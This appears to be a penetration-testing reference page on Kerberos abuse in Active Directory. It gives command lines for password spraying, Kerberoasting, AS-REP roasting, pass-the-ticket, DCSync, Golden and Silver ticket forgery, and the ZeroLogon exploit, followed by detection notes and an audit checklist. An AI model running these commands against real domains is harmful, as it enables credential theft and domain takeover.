Kerberos Abuse

Overview

Kerberos authenticates a ticket, not a live connection back to a domain controller for every request. Once a ticket has been issued, whoever holds it is trusted for as long as it remains valid, regardless of how it was obtained. That single property is what makes the techniques on this page possible: service tickets can be requested and cracked offline (Kerberoasting), authentication material can be captured without ever touching a password (AS-REP roasting, DCSync), and with the right key material, tickets can be minted outright rather than earned (Silver and Golden tickets).

Most of this builds on material already covered elsewhere: hashes recovered during credential dumping or via NTLM relay are frequently what makes a Kerberos ticket forgeable in the first place.

Kerberos User Enumeration & Password Spraying

Before reaching for Kerberoasting or AS-REP roasting, it’s worth checking whether valid usernames can be enumerated in the first place. Kerberos pre-authentication responds differently for a valid username than an invalid one, which Kerbrute uses to enumerate accounts without ever risking a lockout on a bad password.

1
kerbrute userenum --dc <dc-ip> -d <domain> usernames.txt
2
kerbrute userenum -d <domain> --dc <dc-ip> wordlist.txt | grep -Eo "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b"   # Extract just the confirmed email/username matches

Once a set of valid usernames is confirmed, the same tool can password-spray them, one password across every user, staying under most lockout thresholds:

1
kerbrute passwordspray -v -d <domain> --dc <dc-ip> -t 1 --delay 200 users.txt '<season><year>!'   # A single seasonal-style guess sprayed slowly across every user

Kerberoasting

Any authenticated domain user can request a service ticket (TGS) for any account with a Service Principal Name (SPN) set, typically service accounts. The ticket is encrypted with that account’s password hash, so it can be requested and cracked offline without ever touching the DC again. Service accounts are frequently over-privileged (domain admin, enterprise admin, or local admin), which is what makes this worth doing.

Impacket’s GetUserSPNs.py requests every SPN’s ticket in one pass:

1
GetUserSPNs.py -dc-ip <dc-ip> <domain>/<username> -request -outputfile hashes.kerberoast

Rubeus does the same from a Windows host, and can target a specific trust:

1
Rubeus.exe kerberoast /outfile:hashes.kerberoast
2
Rubeus.exe kerberoast /domain:<child-domain> /nowrap

Crack the recovered hashes with John:

1
john --format=krb5tgs --wordlist=wordlist.txt hashes.kerberoast

AS-REP Roasting

Accounts with Kerberos pre-authentication disabled will return an encrypted AS-REP to anyone who simply asks for one, no valid credentials required. That response is encrypted with the target account’s password hash and can be cracked offline in the same way as a Kerberoast hash.

1
Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast

Impacket’s GetNPUsers.py covers the same technique, and can enumerate every account in the domain with pre-authentication disabled without any credentials at all:

1
GetNPUsers.py <domain>/ -usersfile users.txt -format hashcat -outputfile hashes.asreproast

Further detail: AS-REP Roasting Using Rubeus and Hashcat.

Pass-the-Ticket

Where a Kerberos ticket (TGT or TGS) has already been extracted from LSASS memory, see credential dumping, it can be replayed directly on another system to access the same resources, without ever touching the account’s password or hash.

1
BetterSafetyKatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

Inject a specific ticket with Mimikatz:

1
mimikatz # privilege::debug
2
mimikatz # kerberos::ptt <ticket>.kirbi

or with Rubeus, which can also monitor for new TGTs as they’re issued and inject them automatically:

1
Rubeus.exe ptt /ticket:<base64_ticket>
2
Rubeus.exe monitor /interval:30
3
Rubeus.exe klist

A currently-held ticket can also be used to change its own account’s password:

1
Rubeus.exe changepw /ticket:<base64_ticket> /new:<new_password>

Further detail: Detecting Pass-the-Ticket Attacks.

Overpass-the-Hash (Pass-the-Key)

An NTLM hash or AES key recovered during credential dumping can be exchanged for a genuine Kerberos TGT, moving from NTLM authentication onto Kerberos rather than relaying the hash directly.

With Mimikatz:

1
mimikatz # sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<nt_hash>

With Impacket’s getTGT.py:

1
getTGT.py <domain>/<username> -hashes <lm_hash>:<nt_hash>
2
getTGT.py <domain>/<username> -aesKey <aes_key>
3
export KRB5CCNAME=<username>.ccache
4
psexec.py <domain>/<username>@<target> -k -no-pass

With Rubeus:

1
Rubeus.exe asktgt /domain:<domain> /user:<username> /rc4:<nt_hash> /ptt

DCSync

An account with replication rights (Domain Admin, or one granted Get-Replicating-Changes-All) can impersonate a domain controller and request any account’s password data directly from Active Directory, including krbtgt, without ever touching the DC’s disk. This is the same DRSUAPI replication mechanism covered on the credential dumping page for pulling NTDS.dit remotely.

1
mimikatz # lsadump::dcsync /domain:<domain> /user:<username>

Extracting krbtgt specifically is what makes a Golden Ticket possible:

1
mimikatz # lsadump::dcsync /domain:<domain> /user:krbtgt

Finding Who Can DCSync

Domain Admins aren’t the only accounts that can hold replication rights, misconfigured delegation frequently grants Get-Replicating-Changes/Get-Replicating-Changes-All to accounts that were never meant to have it. Get-DCSyncRights enumerates exactly who holds these rights across the domain:

1
New-PSDrive -Name AD -PSProvider ActiveDirectory -Server "<domain>"
2
Import-Module Get-DCSyncRights
3
Get-DCSyncRights | Export-Csv DCSyncRights.csv -NoTypeInformation

Golden Ticket

With the krbtgt account’s hash in hand, typically from DCSync or a direct LSASS dump on a domain controller, a TGT can be forged for any user, including ones that don’t exist, granting domain-wide access that survives until krbtgt’s password is rotated (twice).

1
mimikatz # kerberos::golden /domain:<domain> /sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<username> /id:500 /ptt
2
mimikatz # misc::cmd

Using an AES key instead of RC4 is quieter, since it avoids the encryption-downgrade signal that NTLM/RC4 tickets can trigger:

1
mimikatz # kerberos::golden /domain:<domain> /sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<username> /id:500 /ptt

Forging from Linux with impacket-ticketer

Where operating from a Linux attack host without Mimikatz available, Impacket’s ticketer.py forges the same ticket directly, using the krbtgt AES key or NT hash recovered via secretsdump.py and the domain/target-user SIDs recovered via lookupsid.py. The target username must already exist in the domain, and -user-id needs its real RID:

1
impacket-ticketer -aesKey <krbtgt_aes_key> -domain <domain> -domain-sid <domain_sid> -extra-sid <enterprise_admins_sid> -user-id <target_user_rid> <target_username>
2
impacket-ticketer -aesKey <krbtgt_aes_key> -domain <domain> -domain-sid <domain_sid> -user-id <target_user_rid> <target_username>   # Without an extra-sid if Enterprise Admin membership isn't needed

Load the resulting ticket and confirm access:

1
export KRB5CCNAME=<target_username>.ccache
2
netexec smb <dc-fqdn> -k --use-kcache --shares

Further detail: Kerberos Golden Tickets, Kerberos Golden Tickets (ired.team), and drsuresh: Kerberos in 2023.

Silver Ticket

A silver ticket is the same forgery technique as a Golden Ticket, but scoped to a single service rather than the whole domain, forged with that service account’s own hash rather than krbtgt. It’s quieter, since it never involves the KDC at all, the target service simply trusts the ticket’s signature.

1
mimikatz # kerberos::golden /domain:<domain> /sid:<domain_sid> /rc4:<service_account_ntlm_hash> /user:<username> /service:cifs /target:<target-fqdn> /ptt

Further detail: Kerberos Silver Tickets.

From an AD CS Certificate to a TGT

Where Petitpotam has been relayed into AD CS to obtain a certificate for a domain controller’s machine account, that certificate can be exchanged directly for a TGT via PKINIT, no password or hash required:

1
Rubeus.exe asktgt /user:<dc-machine-account>$ /certificate:<base64_cert> /ptt /dc:<dc-ip> /domain:<domain>
2
klist

With a domain controller’s own TGT injected, DCSync against krbtgt completes the domain takeover.

ZeroLogon (CVE-2020-1472)

ZeroLogon abuses a cryptographic flaw in the Netlogon Remote Protocol (MS-NRPC) to reset a domain controller’s own machine account password to an empty value, without any credentials at all.

1
cve-2020-1472-exploit.py <dc-netbios-name> <dc-ip>

With the machine account’s password now empty, DCSync is trivial via Impacket’s secretsdump.py:

1
secretsdump.py -just-dc -no-pass <domain>/<dc-netbios-name>$@<dc-ip>

This is destructive: it overwrites the DC’s real machine account password, breaking its trust relationship with the rest of the domain until restored. Restoring it requires first recovering the original password in hex form (secretsdump.py prints it automatically when dumping registry secrets as Domain Admin against the DC), then:

1
restorepassword.py <domain>/<dc-netbios-name>@<dc-netbios-name> -target-ip <dc-ip> -hexpass <original_password_hex>

Only run this with the client’s explicit sign-off and this restore step planned in advance, never as a first resort when a quieter path (Kerberoasting, DCSync via an already-compromised DA) is available.

Further detail: CVE-2020-1472 (ZeroLogon).

OPSEC Considerations

• Kerberoasting and AS-REP roasting are both visible as a burst of TGS/AS-REQ requests from a single account, an unusually large request volume is a common detection trigger.
• RC4-encrypted tickets (Golden/Silver, and RC4-based overpass-the-hash) are far more heavily signatured than AES-based equivalents, since legitimate Windows traffic has moved almost entirely to AES.
• A Golden Ticket remains valid until krbtgt’s password is rotated twice in succession, a single rotation isn’t sufficient remediation.
• ZeroLogon is destructive by nature (see the restore step above), confirm scope and rollback expectations with the client before running it.
• Does the target actually enforce PKINIT/certificate-based authentication in a way that makes the AD CS-to-TGT path relevant, or is it only reachable after the relay chain on the pass-the-hash and relay attacks page has already succeeded?

What Should We Look For?

• Do any service accounts hold SPNs with weak or crackable passwords (Kerberoastable)?
• Are there accounts with Kerberos pre-authentication disabled (AS-REP roastable)?
• Is krbtgt’s password rotated on a regular schedule, and would a compromise be fully remediated by a single rotation?
• Which accounts hold replication rights (Get-Replicating-Changes-All) beyond Domain Admins and built-in DCs?
• Is the AD CS environment vulnerable to the ESC8 relay path covered on the pass-the-hash and relay attacks page, providing an alternative route to a DC’s TGT?
• Is the domain controller patched against ZeroLogon (CVE-2020-1472)?